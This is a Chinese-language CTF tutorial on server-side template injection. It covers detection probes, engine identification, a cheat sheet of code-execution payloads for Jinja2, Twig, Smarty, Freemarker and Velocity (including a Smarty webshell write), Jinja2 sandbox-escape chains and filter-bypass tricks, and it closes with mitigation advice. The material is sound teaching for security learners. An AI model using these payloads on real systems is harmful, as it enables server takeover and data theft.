SSTI基础
SSTI基础
本文适合
CTF Web安全 入门学习者。学完你能:从页面回显判断 SSTI,识别模板引擎,并完成从表达式验证到读取配置或命令执行的最小链条
SSTI 是 Server-Side Template Injection,服务端模板注入。它发生在用户输入被当成模板表达式解析,而不是被当成普通文本显示。
一句话判断
如果输入 {{7*7}}、${7*7}、<%= 7*7 %> 这类表达式后,响应里出现计算结果或模板报错,就要怀疑服务端模板注入。
SSTI 的关键不是页面出现花括号,而是用户输入被服务端模板引擎当成模板源码执行。只要能确认“表达式在服务器端被计算”,就可以继续识别引擎、找上下文对象、尝试读取敏感信息或构造执行链。
题目中常见信号
- 页面有“个性化问候”“模板预览”“邮件模板”“通知内容”“在线渲染”等功能。
- 输入普通文本会被原样显示,输入表达式会出现
49、7777777、报错栈或空白差异。 - 报错里出现
Jinja2、Twig、Smarty、Freemarker、Velocity、EJS、Handlebars等名称。 - 源码中有
render_template_string、Template(...)、from_string、eval template、res.render等动态模板行为。 - 过滤器拦截
{{、__、.、[、],通常意味着题目在考模板沙箱或过滤绕过。 - 页面不像浏览器执行脚本,而是服务端先把结果算好再返回。
核心概念
模板引擎原本用于把变量填进 HTML、邮件或配置文本。安全用法是模板固定、变量可控;危险用法是把用户输入拼进模板源码,再交给引擎解析。
SSTI 利用链通常分四步:
- 表达式执行:确认输入会被模板引擎计算。
- 引擎识别:用语法、报错和特征对象判断 Jinja2、Twig、Freemarker 等具体引擎。
- 上下文探索:读取可访问变量、配置、对象属性、过滤器和函数。
- 能力升级:从读配置到读文件,再到命令执行或敏感数据泄露。
不同引擎 payload 不能混用。Jinja2 的 __globals__ 是 Python 运行时链路,Twig 的 _self.env 是 PHP/Twig 对象链,Freemarker 的 ?new() 是 Java 模板特性。
最小分析流程
- 先确认输入是否会回显,记录输出上下文和转义方式。
- 依次测试
{{7*7}}、${7*7}、{7*7}、<%= 7*7 %>,看是否得到49或不同报错。 - 用错误语法触发报错,记录模板引擎名称、语言栈和版本线索。
- 用引擎特有 payload 读取安全信息,例如
{{config}}、{{$smarty.version}}、${.version}。 - 判断沙箱限制:测试属性访问、过滤器、函数调用、下划线、点号和中括号是否被过滤。
- 只在确认引擎和上下文后再尝试文件读取或命令执行 payload,避免盲目套链。
最小验证示例
以 Flask/Jinja2 的 /hello?name= 为例,先判断表达式是否执行:
curl "http://target/hello?name={{7*7}}"
curl "http://target/hello?name=${7*7}"如果第一条返回 Hello 49,第二条原样返回,基本可判断是 Jinja2 风格。继续做无害信息读取:
curl "http://target/hello?name={{config}}"
curl "http://target/hello?name={{request.path}}"若能读取 config 或 request 对象,说明模板上下文暴露。后续再根据过滤情况尝试 lipsum.__globals__、cycler.__init__.__globals__ 或类继承链,而不是直接套某个固定索引。
常见利用 / 解题路线
路线总览:
- 表达式确认路线:数学表达式返回结果,证明模板执行成立。
- 信息读取路线:读取
config、环境变量、模板上下文、框架版本、当前请求对象。 - 文件读取路线:通过宿主语言对象访问文件 API,优先读源码、配置、环境变量和 flag 文件。
- 命令执行路线:找到
os.popen、subprocess、Runtime.exec、system等调用链后执行id、whoami、cat /flag。 - 过滤绕过路线:用请求参数拼接敏感字符串,用
attr/getitem替代点号和中括号,用语句块替代表达式块。 - 沙箱逃逸路线:从内置对象、过滤器、模板全局对象或类继承链找到通往宿主语言运行时的路径。
模板是什么
Web 应用经常用模板生成 HTML。例如:
Hello, {{ name }}正常情况下,name 是一个变量,模板引擎把它替换成真实值。
不同语言有不同模板引擎,例如 Jinja2、Twig、Smarty、Velocity、Freemarker、EJS 等。
主流模板引擎分类
模板引擎按语言生态可以分为几个主要阵营。Python 生态中最常见的是 Jinja2,Flask 和 Ansible 都用它,语法用 {{ }} 表达变量、{% %} 表示语句。Django 自带的模板引擎语法类似但限制更多。PHP 生态里 Twig 是 Symfony 框架的默认引擎,同样用 {{ }},但内部实现和 Jinja2 完全不同;Smarty 是老牌 PHP 模板引擎,用 { 和 } 包裹表达式,旧版本甚至支持直接嵌入 PHP 代码。Java 生态中 Freemarker 用 ${} 语法,Velocity 用 #set 和 $ 的组合,两者在企业级项目中非常普遍。Node.js 生态有 EJS(<%= %>)、Handlebars({{ }})、Pug 等。
识别模板引擎类型是 SSTI 利用的第一步。不同引擎的语法差异决定了 payload 的写法,也决定了沙箱逃逸的路径。探测时可以先用 {{7*7}} 测试,如果返回 49 再用引擎特有的语法进一步确认。
各引擎 Payload 差异
不同模板引擎虽然表面上都用双花括号,但底层机制完全不同。Jinja2 基于 Python,可以沿 __class__.__mro__ 继承链向上追溯到 object 基类,再遍历 __subclasses__() 找到可利用的类(如 os._wrap_close)。Twig 基于 PHP,利用 _self 对象和 registerUndefinedFilterCallback 注册回调函数来执行命令。Freemarker 基于 Java,可以通过 ?new() 构造器实例化 freemarker.template.utility.Execute 类直接执行命令。Smarty 的旧版本支持 {php} 标签直接嵌入 PHP 代码,新版本则需要通过 Smarty_Internal_Write_File 等内部类写入 WebShell。
理解这些差异的关键在于:SSTI 的本质不是"模板语法注入",而是"通过模板语法访问宿主语言的运行时对象"。所以 Jinja2 的 payload 里会出现 Python 的 __globals__,Twig 的 payload 里会出现 PHP 的 system(),Freemarker 的 payload 里会出现 Java 的 ProcessBuilder。
注入点在哪里
危险场景是应用把用户输入拼进模板源码,再交给模板引擎解析。
例如用户输入:
{{7*7}}如果页面显示 49,说明输入被模板引擎计算了,而不是按普通文本输出。
SSTI 为什么危险
模板引擎通常能访问变量、对象属性、过滤器、函数和部分运行环境。
轻则读取配置、环境变量、对象属性。
重则构造函数调用,进一步读取文件或执行命令。
SSTI 的危险程度取决于模板引擎、沙箱限制、可访问对象和语言特性。
常见探测
不同模板引擎语法不同,但基础探测经常从简单表达式开始:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}探测时不要只看页面是否报错,还要看响应内容、状态码和过滤行为。
SSTI 和 XSS 的区别
XSS 是浏览器执行注入的脚本。
SSTI 是服务端模板引擎执行注入的表达式。
如果输入在浏览器里变成 JavaScript 执行,偏 XSS。
如果输入在服务器端先被计算成结果,再返回给浏览器,偏 SSTI。
各模板引擎 Payload 速查
不同模板引擎有不同语法。以下是常见模板引擎的探测和利用 payload:
Jinja2 (Python/Flask)
探测: {{7*7}} → 49
变量访问: {{config}} {{config.items()}}
RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
沙箱逃逸: {{lipsum.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}Twig (PHP/Symfony)
探测: {{7*7}} → 49
${7*7} → 49
变量访问: {{_self}}
RCE: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}Smarty (PHP)
探测: {7*7} → 49
变量访问: {$smarty.version}
RCE: {php}system('id');{/php} (旧版本)
{system('id')} (某些配置)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",$smarty)}Freemarker (Java)
探测: ${7*7} → 49
RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}Velocity (Java)
探测: #set($x = 7*7)${x} → 49
RCE: #set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))#set($ex=$rt.getRuntime().exec("id"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end模板引擎识别流程
import requests
def identify_template_engine(url, param):
"""识别模板引擎类型"""
tests = {
"jinja2": "{{7*7}}",
"twig": "{{7*7}}",
"smarty": "{7*7}",
"freemarker": "${7*7}",
"velocity": "#set($x=7*7)${x}",
"erb": "<%= 7*7 %>",
"ejs": "<%= 7*7 %>",
"handlebars": "{{7*7}}",
}
results = {}
for engine, payload in tests.items():
try:
resp = requests.get(url, params={param: payload}, timeout=5)
if "49" in resp.text:
results[engine] = "可能存在"
print(f"[+] {engine}: 响应包含 49")
else:
results[engine] = "未触发"
except Exception as e:
results[engine] = f"错误: {e}"
return results
# 使用示例
# identify_template_engine("http://target.com/render", "name")SSTI 检测工作流
步骤1: 基础探测
├── 输入 {{7*7}}、${7*7}、{7*7}、<%= 7*7 %>
├── 观察响应是否包含 49
└── 记录哪些语法被解析
步骤2: 错误信息收集
├── 故意构造错误语法 {{7*'7'}}
├── 观察报错中的模板引擎名称
└── 收集版本信息
步骤3: 引擎确认
├── 根据语法和报错确定引擎类型
├── 测试引擎特有语法
└── 确认沙箱限制
步骤4: 沙箱逃逸
├── 尝试访问 __class__、__globals__ 等
├── 测试过滤器和函数
└── 构造 RCE payload沙箱逃逸技巧
当模板引擎有沙箱限制时,需要寻找逃逸方法。沙箱逃逸的基本思路是:模板引擎为了安全会限制可访问的对象和方法,但几乎不可能完全封锁所有路径。攻击者的目标是在沙箱允许的范围内找到一条通往宿主语言运行时的链路。常见思路有三种:第一,利用模板引擎内置对象(如 Jinja2 的 lipsum、cycler、joiner)的 __globals__ 属性间接访问 os 模块;第二,通过 Python 类继承链 __class__.__mro__ 回溯到 object,再从 __subclasses__() 中找到带有 __globals__ 的类;第三,利用沙箱白名单中的过滤器或函数作为跳板,拼接出完整的利用链。每次绕过都需要根据具体引擎版本和沙箱配置调整 payload,没有万能公式。
# Jinja2 沙箱逃逸思路
# 方法1: 通过 Python 类继承链
payload1 = "{{''.__class__.__mro__[2].__subclasses__()}}"
# 列出所有子类,找到可利用的类
# 方法2: 利用已知可逃逸的类
# 常见可利用类: os._wrap_close, warnings.catch_warnings
payload2 = "{{''.__class__.__mro__[2].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read()}}"
# 方法3: 通过 config 对象
payload3 = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
# 方法4: 利用 lipsum (Jinja2 内置)
payload4 = "{{lipsum.__globals__['os'].popen('id').read()}}"
# 方法5: 利用 cycler/joiner
payload5 = "{{cycler.__init__.__globals__.os.popen('id').read()}}"
# 自动寻找子类索引的脚本
def find_subclass_index(module_name):
"""找到目标模块在 __subclasses__ 中的索引"""
payload = f"{{{{''.__class__.__mro__[2].__subclasses__()}}}}"
# 需要根据实际返回结果确定索引
# 也可以用以下 payload 自动搜索
search_payload = (
"{% for c in [].__class__.__base__.__subclasses__() %}"
"{% if c.__name__=='catch_warnings' %}"
"{{ c.__init__.__globals__['sys'].modules['os'].popen('id').read() }}"
"{% endif %}{% endfor %}"
)
return search_payload过滤绕过技巧
# 常见过滤及绕过方式
# 1. 过滤了 {{ }}
# 尝试使用 {% %} 执行语句
payload = "{% if ''.__class__ %}yes{% endif %}"
# 2. 过滤了单引号
# 使用 request.args 或 request.values
payload = "{{().__class__.__mro__[request.args.a]}}"
# URL: ?a=2
# 3. 过滤了下划线
# 使用 request.args
payload = "{{()[request.args.a][request.args.b]}}"
# URL: ?a=__class__&b=__mro__
# 4. 过滤了点号
# 使用 [] 代替
payload = "{{()['__class__']['__mro__']}}"
# 5. 过滤了中括号
# 使用 __getitem__ 方法
payload = "{{().__class__.__mro__.__getitem__(2)}}"
# 6. 使用字符串拼接绕过
payload = "{{()['__cla'+'ss__']['__mr'+'o__']}}"SSTI 防御措施
# 安全的做法: 使用沙箱环境或白名单变量
# 不安全: 直接拼接用户输入到模板
template = env.from_string("Hello " + user_input) # 危险
# 安全: 传入变量而不是拼接
template = env.from_string("Hello {{ name }}")
result = template.render(name=user_input) # 安全
# 使用沙箱环境
from jinja2.sandbox import SandboxedEnvironment
sandbox_env = SandboxedEnvironment()
template = sandbox_env.from_string("Hello {{ name }}")常见失败原因
- 看到
{{ }}就以为一定是 SSTI:先确认结果是否由服务端计算,前端框架原样渲染不等于 SSTI。 - 只测
{{7*7}}:Jinja2/Twig 可能命中,Freemarker、Velocity、EJS 需要不同语法。 - 忽略报错信息:模板报错常直接暴露引擎、版本、变量名和文件路径。
- 把 XSS 当 SSTI:浏览器弹窗是客户端执行,响应体里先出现
49才是服务端执行信号。 - 直接套 RCE payload:不同版本和沙箱对象差异很大,应先做变量读取和对象枚举。
- 子类索引失效:Jinja2
__subclasses__()的索引和运行环境有关,应该搜索类名或用稳定内置对象。 - 被过滤后只换编码:模板过滤绕过更常用参数拼接、属性访问替代和语法块替换。
迷你案例
题目有一个“邮件预览”接口:
curl "http://target/preview?name=Alice"响应是 Dear Alice。测试表达式:
curl "http://target/preview?name={{7*7}}"响应变成 Dear 49,说明输入进入了服务端模板。再测试对象:
curl "http://target/preview?name={{config}}"响应包含 SECRET_KEY 和 DEBUG 字段,说明 Jinja2 上下文暴露。接下来尝试稳定内置对象链:
{{lipsum.__globals__['os'].popen('id').read()}}如果下划线被过滤,就用参数拼接 __globals__ 或 attr 过滤器替代。这个案例的闭环是:回显入口 -> 表达式计算 -> 引擎识别 -> 配置读取 -> 运行时对象利用。